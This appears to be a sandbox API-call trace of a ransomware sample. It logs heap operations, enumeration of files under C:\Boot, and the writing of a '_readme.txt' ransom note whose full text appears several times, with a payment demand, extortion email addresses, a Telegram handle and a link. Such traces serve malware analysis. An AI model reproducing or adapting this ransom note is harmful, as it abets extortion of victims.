lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.896] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.896] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.896] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.896] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.896] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.897] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.897] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.897] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.897] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.897] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.897] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.897] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.897] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.897] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.897] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.897] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.897] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.897] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.897] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.897] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.897] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.897] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.897] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.897] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.897] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.897] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.897] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.897] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.897] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.897] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.897] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.897] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.897] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.897] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.897] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.897] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.897] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.897] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.898] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.898] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.898] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.898] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.898] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.898] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.898] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.898] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.898] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.898] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.898] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.898] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.898] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.898] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.898] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.898] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.898] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.898] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.898] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.898] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.898] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.898] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.898] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.898] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.898] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.898] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.898] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.898] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.898] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.898] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.898] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.898] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.898] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.899] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.899] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.899] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.899] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.899] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.899] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.899] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.899] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.899] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.899] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.899] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.899] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.899] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.899] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.899] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.899] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.899] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.899] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.899] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.899] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.899] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.899] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.899] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.899] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.899] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.899] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.899] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.899] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.899] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.899] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.899] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.899] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.899] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.900] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.900] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.900] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.900] PathFindFileNameW (pszPath="C:\\Boot\\ko-KR\\") returned="ko-KR\\" [0124.900] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.900] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.900] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.900] PathFindFileNameW (pszPath="") returned="" [0124.900] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.900] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x768b0000 [0124.900] GetProcAddress (hModule=0x768b0000, lpProcName="SHGetFolderPathW") returned 0x76935708 [0124.900] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x800) returned 0x30f90a8 [0124.900] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x30f90a8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.900] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x810) returned 0x30e9368 [0124.900] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.900] FreeLibrary (hLibModule=0x768b0000) returned 1 [0124.900] PathAppendW (in: pszPath="C:\\Boot\\ko-KR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\ko-KR\\_readme.txt") returned 1 [0124.900] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.901] PathFileExistsW (pszPath="C:\\Boot\\ko-KR\\_readme.txt") returned 0 [0124.901] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x7d00) returned 0x30fa550 [0124.901] lstrcpyW (in: lpString1=0x30fa550, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" [0124.901] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg", lpString2="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" [0124.901] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9bf0 [0124.901] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\_readme.txt" (normalized: "c:\\boot\\ko-kr\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.901] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0124.901] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.901] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0124.901] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.901] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042220 [0124.901] PathFindExtensionW (pszPath="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned=".mui" [0124.901] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.901] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042220 | out: hHeap=0x5c0000) returned 1 [0124.901] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0124.902] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0124.902] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.902] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.902] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0124.902] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.902] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.902] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.902] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.902] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.902] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.902] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.902] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.902] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.902] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.902] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.902] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.902] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.902] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.902] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.902] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.902] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.902] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.902] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.902] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.902] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.902] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.902] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.902] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.902] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.902] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.902] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.903] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.903] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.903] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.903] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.903] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 